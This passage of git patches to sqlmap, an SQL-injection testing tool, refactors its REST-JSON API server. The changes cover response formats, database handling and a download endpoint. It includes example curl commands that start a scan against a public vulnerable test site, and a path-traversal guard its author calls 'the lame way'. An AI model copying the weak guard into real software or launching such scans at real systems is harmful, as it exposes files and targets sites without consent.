2013 19:48:05 +0100 Subject: [PATCH 142/889] Fix for an Issue #580 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 20a7a1a94..3dc015276 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1030,7 +1030,7 @@ def setPaths(): paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") # sqlmap files - paths.SQLMAP_HISTORY = os.path.join(paths.SQLMAP_ROOT_PATH, ".sqlmap_history") + paths.SQLMAP_HISTORY = os.path.join(os.path.expanduser('~'), ".sqlmap_history") paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr()) paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") From 5b2ded0b18f596bd8a36751f6b8540bd4b39521d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 13 Dec 2013 21:00:26 +0100 Subject: [PATCH 143/889] Fix for an Issue #577 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 3dc015276..256b9eb17 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2948,7 +2948,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): retVal = "\"%s\"" % retVal.strip("\"") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.strip("\"").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,): + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U): retVal = "[%s]" % retVal.strip("[]") if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): From 8a946509b9fb77d19519674dc8630c57262deea3 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sat, 14 Dec 2013 15:44:10 +0100 Subject: [PATCH 144/889] PEP8 --- lib/utils/api.py | 84 +++++++++++++++++++++++++++++++++++++----------- 1 file changed, 65 insertions(+), 19 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index c5f43fc0a..cb52b2d7c 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -1,4 +1,5 @@ #!/usr/bin/env python +# -*- coding: utf-8 -*- """ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) @@ -52,13 +53,25 @@ db = None db_filepath = None tasks = dict() + # API objects class Database(object): global db_filepath - LOGS_TABLE = "CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)" - DATA_TABLE = "CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)" - ERRORS_TABLE = "CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)" + LOGS_TABLE = ("CREATE TABLE logs(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, time TEXT, " + "level TEXT, message TEXT" + ")") + DATA_TABLE = ("CREATE TABLE data(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, status INTEGER, " + "content_type INTEGER, value TEXT" + ")") + ERRORS_TABLE = ("CREATE TABLE errors(" + "id INTEGER PRIMARY KEY AUTOINCREMENT, " + "taskid INTEGER, error TEXT" + ")") def __init__(self, database=None): if database: @@ -92,6 +105,7 @@ class Database(object): self.execute(self.DATA_TABLE) self.execute(self.ERRORS_TABLE) + class Task(object): global db_filepath @@ -111,7 +125,8 @@ class Task(object): type_ = unArrayizeValue(type_) self.options[name] = _defaults.get(name, datatype[type_]) - # Let sqlmap engine knows it is getting called by the API, the task ID and the file path of the IPC database + # Let sqlmap engine knows it is getting called by the API, + # the task ID and the file path of the IPC database self.options.api = True self.options.taskid = taskid self.options.database = db_filepath @@ -145,7 +160,8 @@ class Task(object): shutil.rmtree(self.output_directory) def engine_start(self): - self.process = Popen("python sqlmap.py --pickled-options %s" % base64pickle(self.options), shell=True, stdin=PIPE, close_fds=False) + self.process = Popen("python sqlmap.py --pickled-options %s" % base64pickle(self.options), + shell=True, stdin=PIPE, close_fds=False) def engine_stop(self): if self.process: @@ -194,25 +210,27 @@ class StdDbOut(object): # Ignore all non-relevant messages return - output = conf.database_cursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", - (self.taskid, content_type)) - - #print >>sys.__stdout__, "output: %s\nvalue: %s\nstatus: %d\ncontent_type: %d\nkb.partRun: %s\n--------------" % (output, value, status, content_type, kb.partRun) + output = conf.database_cursor.execute( + "SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", + (self.taskid, content_type)) # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: for index in xrange(0, len(output)): - conf.database_cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + conf.database_cursor.execute("DELETE FROM data WHERE id = ?", + (output[index][0],)) - conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) + conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", + (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None elif status == CONTENT_STATUS.IN_PROGRESS: if len(output) == 0: conf.database_cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", - (self.taskid, status, content_type, jsonize(value))) + (self.taskid, status, content_type, + jsonize(value))) else: new_value = "%s%s" % (dejsonize(output[0][2]), value) conf.database_cursor.execute("UPDATE data SET value = ? WHERE id = ?", @@ -230,6 +248,7 @@ class StdDbOut(object): def seek(self): pass + class LogRecorder(logging.StreamHandler): def emit(self, record): """ @@ -238,7 +257,8 @@ class LogRecorder(logging.StreamHandler): """ conf.database_cursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, - record.msg % record.args if record.args else record.msg)) + record.msg % record.args if record.args else record.msg)) + def setRestAPILog(): if hasattr(conf, "api"): @@ -250,6 +270,7 @@ def setRestAPILog(): LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) + # Generic functions def is_admin(taskid): global adminid @@ -258,6 +279,7 @@ def is_admin(taskid): else: return True + @hook("after_request") def security_headers(json_header=True): """ @@ -282,16 +304,19 @@ def error401(error=None): security_headers(False) return "Access denied" + @error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" + @error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" + @error(500) # Internal Server Error def error500(error=None): security_headers(False) @@ -315,6 +340,7 @@ def task_new(): logger.debug("Created new task ID: %s" % taskid) return jsonize({"taskid": taskid}) + @get("/task//delete") def task_delete(taskid): """ @@ -345,6 +371,7 @@ def task_list(taskid): else: abort(401) + @get("/admin//flush") def task_flush(taskid): """ @@ -377,6 +404,7 @@ def option_list(taskid): return jsonize({"options": tasks[taskid].get_options()}) + @post("/option//get") def option_get(taskid): """ @@ -394,6 +422,7 @@ def option_get(taskid): else: return jsonize({option: "not set"}) + @post("/option//set") def option_set(taskid): """ @@ -435,6 +464,7 @@ def scan_start(taskid): logger.debug("Started scan for task ID %s" % taskid) return jsonize({"success": True, "engineid": tasks[taskid].engine_get_id()}) + @get("/scan//stop") def scan_stop(taskid): """ @@ -450,6 +480,7 @@ def scan_stop(taskid): logger.debug("Stopped scan for task ID %s" % taskid) return jsonize({"success": True}) + @get("/scan//kill") def scan_kill(taskid): """ @@ -465,6 +496,7 @@ def scan_kill(taskid): logger.debug("Killed scan for task ID %s" % taskid) return jsonize({"success": True}) + @get("/scan//status") def scan_status(taskid): """ @@ -480,6 +512,7 @@ def scan_status(taskid): logger.debug("Requested status of scan for task ID %s" % taskid) return jsonize({"status": status, "returncode": tasks[taskid].engine_get_returncode()}) + @get("/scan//data") def scan_data(taskid): """ @@ -494,11 +527,15 @@ def scan_data(taskid): abort(500, "Invalid task ID") # Read all data from the IPC database for the taskid - for status, content_type, value in db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) + for status, content_type, value in db.execute( + "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", + (taskid,)): + json_data_message.append( + {"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database - for error in db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): + for error in db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", + (taskid,)): json_errors_message.append(error) logger.debug("Retrieved data and error messages for scan for task ID %s" % taskid) @@ -524,12 +561,16 @@ def scan_log_limited(taskid, start, end): end = max(1, int(end)) # Read a subset of log messages from the IPC database - for time_, level, message in db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): + for time_, level, message in db.execute( + ("SELECT time, level, message FROM logs WHERE " + "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), + (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("Retrieved subset of log messages for scan for task ID %s" % taskid) return jsonize({"log": json_log_messages}) + @get("/scan//log") def scan_log(taskid): """ @@ -543,7 +584,8 @@ def scan_log(taskid): abort(500, "Invalid task ID") # Read all log messages from the IPC database - for time_, level, message in db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): + for time_, level, message in db.execute( + "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("Retrieved log messages for scan for task ID %s" % taskid) @@ -569,6 +611,7 @@ def download(taskid, target, filename): else: abort(500, "File does not exist") + def server(host="0.0.0.0", port=RESTAPI_SERVER_PORT): """ REST-JSON API server @@ -592,6 +635,7 @@ def server(host="0.0.0.0", port=RESTAPI_SERVER_PORT): # Run RESTful API run(host=host, port=port, quiet=True, debug=False) + def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): """ REST-JSON API client @@ -602,6 +646,8 @@ def client(host=RESTAPI_SERVER_HOST, port=RESTAPI_SERVER_PORT): # TODO: write a simple client with requests, for now use curl from command line logger.error("Not yet implemented, use curl from command line instead for now, for example:") print "\n\t$ curl http://%s:%d/task/new" % (host, port) - print "\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/:taskid/start" % (host, port) + print ("\t$ curl -H \"Content-Type: application/json\" " + "-X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' " + "http://%s:%d/scan/:taskid/start") % (host, port) print "\t$ curl http://%s:%d/scan/:taskid/data" % (host, port) print "\t$ curl http://%s:%d/scan/:taskid/log\n" % (host, port) From c5a3f54b898979a3533898a33ff752e9fc85cd35 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sat, 14 Dec 2013 15:47:26 +0100 Subject: [PATCH 145/889] remove unused imports --- lib/utils/api.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index cb52b2d7c..61a15b5ba 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -32,8 +32,6 @@ from lib.core.enums import PART_RUN_CONTENT_TYPES from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.subprocessng import Popen -from lib.core.subprocessng import send_all -from lib.core.subprocessng import recv_some from thirdparty.bottle.bottle import abort from thirdparty.bottle.bottle import error from thirdparty.bottle.bottle import get From af7ad31182a471f40681b6e6cfdb43f4e64db767 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sat, 14 Dec 2013 15:58:09 +0100 Subject: [PATCH 146/889] fix commit method usage (belongs to connection, not cursor) --- lib/utils/api.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 61a15b5ba..c8171d482 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -87,7 +87,7 @@ class Database(object): self.connection.close() def commit(self): - self.cursor.commit() + self.connection.commit() def execute(self, statement, arguments=None): if arguments: From 72137e85f981aeee6d7a1252c34b19eb9b31874d Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sat, 14 Dec 2013 15:59:47 +0100 Subject: [PATCH 147/889] do not reset options when firing a scan --- lib/utils/api.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index c8171d482..3db8ce3c0 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -447,8 +447,6 @@ def scan_start(taskid): if taskid not in tasks: abort(500, "Invalid task ID") - tasks[taskid].reset_options() - # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): tasks[taskid].set_option(option, value) From c87ad1bab5aa9aa78895aaafde59cf717bd0a108 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sat, 14 Dec 2013 16:22:30 +0100 Subject: [PATCH 148/889] make returned values more coherent --- lib/utils/api.py | 50 ++++++++++++++++++++++++++---------------------- 1 file changed, 27 insertions(+), 23 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 3db8ce3c0..453181b6a 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -336,7 +336,7 @@ def task_new(): tasks[taskid] = Task(taskid) logger.debug("Created new task ID: %s" % taskid) - return jsonize({"taskid": taskid}) + return jsonize({"success": True, "taskid": taskid}) @get("/task//delete") @@ -351,7 +351,7 @@ def task_delete(taskid): logger.debug("Deleted task ID: %s" % taskid) return jsonize({"success": True}) else: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) ################### # Admin functions # @@ -365,9 +365,9 @@ def task_list(taskid): if is_admin(taskid): logger.debug("Listed task pull") task_list = list(tasks) - return jsonize({"tasks": task_list, "tasks_num": len(tasks)}) + return jsonize({"success": True, "tasks": task_list, "tasks_num": len(tasks)}) else: - abort(401) + return jsonize({"success": False, "message": "Unauthorized"}) @get("/admin//flush") @@ -385,7 +385,7 @@ def task_flush(taskid): logger.debug("Flushed task pull") return jsonize({"success": True}) else: - abort(401) + return jsonize({"success": False, "message": "Unauthorized"}) ################################## # sqlmap core interact functions # @@ -398,9 +398,9 @@ def option_list(taskid): List options for a certain task ID """ if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) - return jsonize({"options": tasks[taskid].get_options()}) + return jsonize({"success": True, "options": tasks[taskid].get_options()}) @post("/option//get") @@ -411,14 +411,14 @@ def option_get(taskid): global tasks if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) option = request.json.get("option", "") if option in tasks[taskid].options: - return jsonize({option: tasks[taskid].get_option(option)}) + return jsonize({"success": True, option: tasks[taskid].get_option(option)}) else: - return jsonize({option: "not set"}) + return jsonize({"success": False, "message": "Unknown option", option: "not set"}) @post("/option//set") @@ -429,7 +429,7 @@ def option_set(taskid): global tasks if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) for option, value in request.json.items(): tasks[taskid].set_option(option, value) @@ -445,7 +445,7 @@ def scan_start(taskid): global tasks if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): @@ -469,7 +469,7 @@ def scan_stop(taskid): global tasks if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) tasks[taskid].engine_stop() @@ -485,7 +485,7 @@ def scan_kill(taskid): global tasks if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) tasks[taskid].engine_kill() @@ -501,12 +501,16 @@ def scan_status(taskid): global tasks if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) status = "terminated" if tasks[taskid].engine_has_terminated() is True else "running" logger.debug("Requested status of scan for task ID %s" % taskid) - return jsonize({"status": status, "returncode": tasks[taskid].engine_get_returncode()}) + return jsonize({ + "success": True, + "status": status, + "returncode": tasks[taskid].engine_get_returncode() + }) @get("/scan//data") @@ -520,7 +524,7 @@ def scan_data(taskid): json_errors_message = list() if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid for status, content_type, value in db.execute( @@ -535,7 +539,7 @@ def scan_data(taskid): json_errors_message.append(error) logger.debug("Retrieved data and error messages for scan for task ID %s" % taskid) - return jsonize({"data": json_data_message, "error": json_errors_message}) + return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) # Functions to handle scans' logs @get("/scan//log//") @@ -548,10 +552,10 @@ def scan_log_limited(taskid, start, end): json_log_messages = list() if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: - abort(500, "Invalid start or end value, must be digits") + return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) @@ -564,7 +568,7 @@ def scan_log_limited(taskid, start, end): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("Retrieved subset of log messages for scan for task ID %s" % taskid) - return jsonize({"log": json_log_messages}) + return jsonize({"success": True, "log": json_log_messages}) @get("/scan//log") @@ -577,7 +581,7 @@ def scan_log(taskid): json_log_messages = list() if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database for time_, level, message in db.execute( @@ -585,7 +589,7 @@ def scan_log(taskid): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("Retrieved log messages for scan for task ID %s" % taskid) - return jsonize({"log": json_log_messages}) + return jsonize({"success": True, "log": json_log_messages}) # Function to handle files inside the output directory @get("/download///") From aa02019638ea957d4e38969fef7e14c2c36e483c Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sat, 14 Dec 2013 16:33:17 +0100 Subject: [PATCH 149/889] return file content in a json message when calling download endpoint --- lib/utils/api.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 453181b6a..472b026ec 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -598,18 +598,20 @@ def download(taskid, target, filename): Download a certain file from the file system """ if taskid not in tasks: - abort(500, "Invalid task ID") + return jsonize({"success": False, "message": "Invalid task ID"}) # Prevent file path traversal - the lame way - if target.startswith("."): - abort(500) + if ".." in target: + return jsonize({"success": False, "message": "Forbidden path"}) path = os.path.join(paths.SQLMAP_OUTPUT_PATH, target) if os.path.exists(path): - return static_file(filename, root=path) + with open(path, 'rb') as inf: + file_content = inf.read() + return jsonize({"success": True, "file": file_content.encode("base64")}) else: - abort(500, "File does not exist") + return jsonize({"success": False, "message": "File does not exist"}) def server(host="0.0.0.0", port=RESTAPI_SERVER_PORT): From c70f2a4e6d28a27a923895a003a0379e9be3eeb6 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sun, 15 Dec 2013 00:00:08 +0100 Subject: [PATCH 150/889] unused imports --- lib/utils/api.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 472b026ec..5943b33a7 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -32,7 +32,6 @@ from lib.core.enums import PART_RUN_CONTENT_TYPES from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.subprocessng import Popen -from thirdparty.bottle.bottle import abort from thirdparty.bottle.bottle import error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook @@ -40,7 +39,6 @@ from thirdparty.bottle.bottle import post from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run -from thirdparty.bottle.bottle import static_file RESTAPI_SERVER_HOST = "127.0.0.1" RESTAPI_SERVER_PORT = 8775 From 3effaee2a1f234d95318cb75364539210a5dcebe Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sun, 15 Dec 2013 00:19:58 +0100 Subject: [PATCH 151/889] avoid using global variables, use a "store" class --- lib/utils/api.py | 143 ++++++++++++++++++----------------------------- 1 file changed, 55 insertions(+), 88 deletions(-) diff --git a/lib/utils/api.py b/lib/utils/api.py index 5943b33a7..30427ebdc 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -43,17 +43,17 @@ from thirdparty.bottle.bottle import run RESTAPI_SERVER_HOST = "127.0.0.1" RESTAPI_SERVER_PORT = 8775 -# Local global variables -adminid = "" -db = None -db_filepath = None -tasks = dict() + +# global settings +class DataStore(object): + admin_id = "" + current_db = None + tasks = dict() # API objects class Database(object): - global db_filepath - + filepath = None LOGS_TABLE = ("CREATE TABLE logs(" "id INTEGER PRIMARY KEY AUTOINCREMENT, " "taskid INTEGER, time TEXT, " @@ -70,10 +70,7 @@ class Database(object): ")") def __init__(self, database=None): - if database: - self.database = database - else: - self.database = db_filepath + self.database = self.filepath if database is None else database def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None) @@ -103,7 +100,6 @@ class Database(object): class Task(object): - global db_filepath def __init__(self, taskid): self.process = None @@ -125,7 +121,7 @@ class Task(object): # the task ID and the file path of the IPC database self.options.api = True self.options.taskid = taskid - self.options.database = db_filepath + self.options.database = Database.filepath # Enforce batch mode and disable coloring and ETA self.options.batch = True @@ -269,11 +265,7 @@ def setRestAPILog(): # Generic functions def is_admin(taskid): - global adminid - if adminid != taskid: - return False - else: - return True + return DataStore.admin_id == taskid @hook("after_request") @@ -328,10 +320,8 @@ def task_new(): """ Create new task ID """ - global tasks - taskid = hexencode(os.urandom(8)) - tasks[taskid] = Task(taskid) + DataStore.tasks[taskid] = Task(taskid) logger.debug("Created new task ID: %s" % taskid) return jsonize({"success": True, "taskid": taskid}) @@ -342,9 +332,9 @@ def task_delete(taskid): """ Delete own task ID """ - if taskid in tasks: - tasks[taskid].clean_filesystem() - tasks.pop(taskid) + if taskid in DataStore.tasks: + DataStore.tasks[taskid].clean_filesystem() + DataStore.tasks.pop(taskid) logger.debug("Deleted task ID: %s" % taskid) return jsonize({"success": True}) @@ -362,8 +352,8 @@ def task_list(taskid): """ if is_admin(taskid): logger.debug("Listed task pull") - task_list = list(tasks) - return jsonize({"success": True, "tasks": task_list, "tasks_num": len(tasks)}) + task_list = list(DataStore.tasks) + return jsonize({"success": True, "tasks": task_list, "tasks_num": len(task_list)}) else: return jsonize({"success": False, "message": "Unauthorized"}) @@ -373,13 +363,11 @@ def task_flush(taskid): """ Flush task spool (delete all tasks) """ - global tasks - if is_admin(taskid): - for task in tasks: - tasks[task].clean_filesystem() + for task in DataStore.tasks: + DataStore.tasks[task].clean_filesystem() - tasks = dict() + DataStore.tasks = dict() logger.debug("Flushed task pull") return jsonize({"success": True}) else: @@ -395,10 +383,10 @@ def option_list(taskid): """ List options for a certain task ID """ - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) - return jsonize({"success": True, "options": tasks[taskid].get_options()}) + return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) @post("/option//get") @@ -406,15 +394,13 @@ def option_get(taskid): """ Get the value of an option (command line switch) for a certain task ID """ - global tasks - - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) option = request.json.get("option", "") - if option in tasks[taskid].options: - return jsonize({"success": True, option: tasks[taskid].get_option(option)}) + if option in DataStore.tasks[taskid].options: + return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) else: return jsonize({"success": False, "message": "Unknown option", option: "not set"}) @@ -424,13 +410,11 @@ def option_set(taskid): """ Set an option (command line switch) for a certain task ID """ - global tasks - - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) for option, value in request.json.items(): - tasks[taskid].set_option(option, value) + DataStore.tasks[taskid].set_option(option, value) return jsonize({"success": True}) @@ -440,23 +424,21 @@ def scan_start(taskid): """ Launch a scan """ - global tasks - - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): - tasks[taskid].set_option(option, value) + DataStore.tasks[taskid].set_option(option, value) # Overwrite output directory value to a temporary directory - tasks[taskid].set_output_directory() + DataStore.tasks[taskid].set_output_directory() # Launch sqlmap engine in a separate process - tasks[taskid].engine_start() + DataStore.tasks[taskid].engine_start() logger.debug("Started scan for task ID %s" % taskid) - return jsonize({"success": True, "engineid": tasks[taskid].engine_get_id()}) + return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) @get("/scan//stop") @@ -464,12 +446,10 @@ def scan_stop(taskid): """ Stop a scan """ - global tasks - - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) - tasks[taskid].engine_stop() + DataStore.tasks[taskid].engine_stop() logger.debug("Stopped scan for task ID %s" % taskid) return jsonize({"success": True}) @@ -480,12 +460,10 @@ def scan_kill(taskid): """ Kill a scan """ - global tasks - - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) - tasks[taskid].engine_kill() + DataStore.tasks[taskid].engine_kill() logger.debug("Killed scan for task ID %s" % taskid) return jsonize({"success": True}) @@ -496,18 +474,16 @@ def scan_status(taskid): """ Returns status of a scan """ - global tasks - - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) - status = "terminated" if tasks[taskid].engine_has_terminated() is True else "running" + status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" logger.debug("Requested status of scan for task ID %s" % taskid) return jsonize({ "success": True, "status": status, - "returncode": tasks[taskid].engine_get_returncode() + "returncode": DataStore.tasks[taskid].engine_get_returncode() }) @@ -516,24 +492,23 @@ def scan_data(taskid): """ Retrieve the data of a scan """ - global db - global tasks json_data_message = list() json_errors_message = list() - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid - for status, content_type, value in db.execute( + for status, content_type, value in DataStore.current_db.execute( "SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_data_message.append( {"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database - for error in db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", - (taskid,)): + for error in DataStore.current_db.execute( + "SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", + (taskid,)): json_errors_message.append(error) logger.debug("Retrieved data and error messages for scan for task ID %s" % taskid) @@ -545,11 +520,9 @@ def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ - global db - global tasks json_log_messages = list() - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: @@ -559,7 +532,7 @@ def scan_log_limited(taskid, start, end): end = max(1, int(end)) # Read a subset of log messages from the IPC database - for time_, level, message in db.execute( + for time_, level, message in DataStore.current_db.execute( ("SELECT time, level, message FROM logs WHERE " "taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC"), (taskid, start, end)): @@ -574,15 +547,13 @@ def scan_log(taskid): """ Retrieve the log messages """ - global db - global tasks json_log_messages = list() - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database - for time_, level, message in db.execute( + for time_, level, message in DataStore.current_db.execute( "SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) @@ -595,7 +566,7 @@ def download(taskid, target, filename): """ Download a certain file from the file system """ - if taskid not in tasks: + if taskid not in DataStore.tasks: return jsonize({"success": False, "message": "Invalid task ID"}) # Prevent file path traversal - the lame way @@ -616,21 +587,17 @@ def server(host="0.0.0.0", port=RESTAPI_SERVER_PORT): """ REST-JSON API server """ - global adminid - global db - global db_filepath - - adminid = hexencode(os.urandom(16)) - db_filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] + DataStore.admin_id = hexencode(os.urandom(16)) + Database.filepath = tempfile.mkstemp(prefix="sqlmapipc-", text=False)[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) - logger.info("Admin ID: %s" % adminid) - logger.debug("IPC database: %s" % db_filepath) + logger.info("Admin ID: %s" % DataStore.admin_id) + logger.debug("IPC database: %s" % Database.filepath) # Initialize IPC database - db = Database() - db.connect() - db.init() + DataStore.current_db = Database() + DataStore.current_db.connect() + DataStore.current_db.init() # Run RESTful API run(host=host, port=port, quiet=True, debug=False) From eda9a3da671886038b5f4b08678b8e175e467f83 Mon Sep 17 00:00:00 2001 From: Mathieu Deous Date: Sun, 15 Dec 2013 09:16:38 +0100 Subject: [PATCH 152/889] all instance attributes should be defined in constructor --- lib/utils/api.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/utils/api.py b/lib/utils/api.py index 